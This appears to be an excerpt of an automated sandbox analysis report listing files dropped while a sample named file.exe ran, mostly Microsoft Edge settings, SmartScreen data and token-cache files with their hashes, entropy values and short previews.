wm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46d9b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Reputation:	unknown
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Reputation:	unknown
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Reputation:	unknown
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Reputation:	unknown
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Reputation:	unknown
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Reputation:	unknown
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Reputation:	unknown
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Reputation:	unknown
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Reputation:	unknown
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Reputation:	unknown
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.018771593779724
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXEKSKn:YWLSGTt1o9LuLgfGBPAzkVj/T8l08n
MD5:	945C0097BE24542E4E0CBCF9947F84C6
SHA1:	05D216026D89BCD3474039C80D593C36C1DFDD47
SHA-256:	949AAAECD593C698B7D27B1EC46858945148C5CD6CE9B727BAFECD8690A5CB6B
SHA-512:	DFBA23ED6AE4849E7D629B982465A5CD1B609B24BD9377F6F371AF5E430A3B0E9506267ACA4315D7CF0BBFD9C1C4A9E02241398F8B1E5FA6B52AC42D17DA4EA2
Malicious:	false
Reputation:	unknown
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732187357605746}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b8b984c4-0bc3-4345-9978-47a6cdff6161.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46046
Entropy (8bit):	6.087400150252337
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQcrQgx9fQQuuhDO6vP6OQpMopfsRdHXo3xIAB3lMCAoIGoup1Xl3j+:AMk1rT8HR9f06WMihTMRoIhu3VlXr4D
MD5:	24ED87B3735AD8DF3C5DE6A70F33E267
SHA1:	4423ED28B9C3A6E3475A150936CF3291007DAFE4
SHA-256:	09D943D3B6D53BCF11B43FEAC03905274A32DF872D312BEA913E54CB63F940D4
SHA-512:	7CE773D38D8D127412D30D273BBE103A327F5DB46C3879F71524FAAD996D452A9CA006B324469CE7450AC19F33E8C0CD3BECBA0DB6C2FEDD11EBF10547B21A28
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732086558"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.858720812355291
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxJxl9Il8urf/ljJb+WyuRgOLgsCsPjd1rc:m8Y9HljJbfTXLgsK
MD5:	5284DD87E29B153F265258D01A85FFDA
SHA1:	4017029927575209E787477969973B2B6FB5F3D9
SHA-256:	A7404943C11A550FE94E0900C659DE7E6AEBBA94B40D343AD0413E88848A9588
SHA-512:	C5A239379D50FE8A1567A277782F28A819F99E31F4197DD8EC2D5FEFB7B63A2A95969BAABC299995EE1E791C4A55E89B7283E2995DBC8771C9CAE5F5A1B617B7
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.S.D.f.i.M.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.d.v.C.R.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9933725485359535
Encrypted:	false
SSDEEP:	96:yY9ZuIZr0P1dsYNchY/YtL95ud+K45cJFmAR:yeZuM6dJNSOwpg+KOOmAR
MD5:	1F85E3A1EEE64D29D379AF9AEFFBA8E0
SHA1:	7050FC8D4F623E4A56BD42823C8E1BCC2545553F
SHA-256:	FAAA1508E42CCB0E1D10C4AA8395A8C9F392464FACF69816BD801C26BA87E443
SHA-512:	148148E4244AD6280BA8B37E9D6665E98990FDD4891BA99C4C7766BE913CCECD9D055D04DA4174ED911BE401EE9662C642B333BDA1F076278BBD64ECA4353B21
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.8.+.F.Z.B.s.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.d.v.C.R.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.889630600987582
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xsxl9Il8urAK0xPpD7pgC9C/xTijcX7+LjHwgvzd/vc:a2Y9L0hgYC/acX7IjQgW
MD5:	CFEDC3894D6454B1C1C6EBECCA349710
SHA1:	B84748FB5F693918CEAB7FFE70872E7EF2B88D91
SHA-256:	7D768E26CB6834F663BF02E78AB49190B2863A6D3353CA29B06D83430F3FAF20
SHA-512:	745D27F2CD3CF5E099667416F9939C2754A6A795A7DA7BD8E6FB99424CF89CFF831FC7694806A08941ED069087B72991F7E64A6942F20EDC5EF968B100C8E9BD
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".y.E.S.3.l.O.x.Z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.d.v.C.R.A.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.389450480490115
Encrypted:	false
SSDEEP:	96:6NnQXXMXbHQXMNnQsbQwNnQo9QVNnQBdgEQnNnQ0QgNnQZxNxgDQZxjNnQowQYNo:6NYAHNxNgNYSN7NhgNncNiLjD
MD5:	8A3BA6F5665A68508412165F46578CA7
SHA1:	3F2CE169C1AFA3BFDE8EC1084F1FE18727C71B48
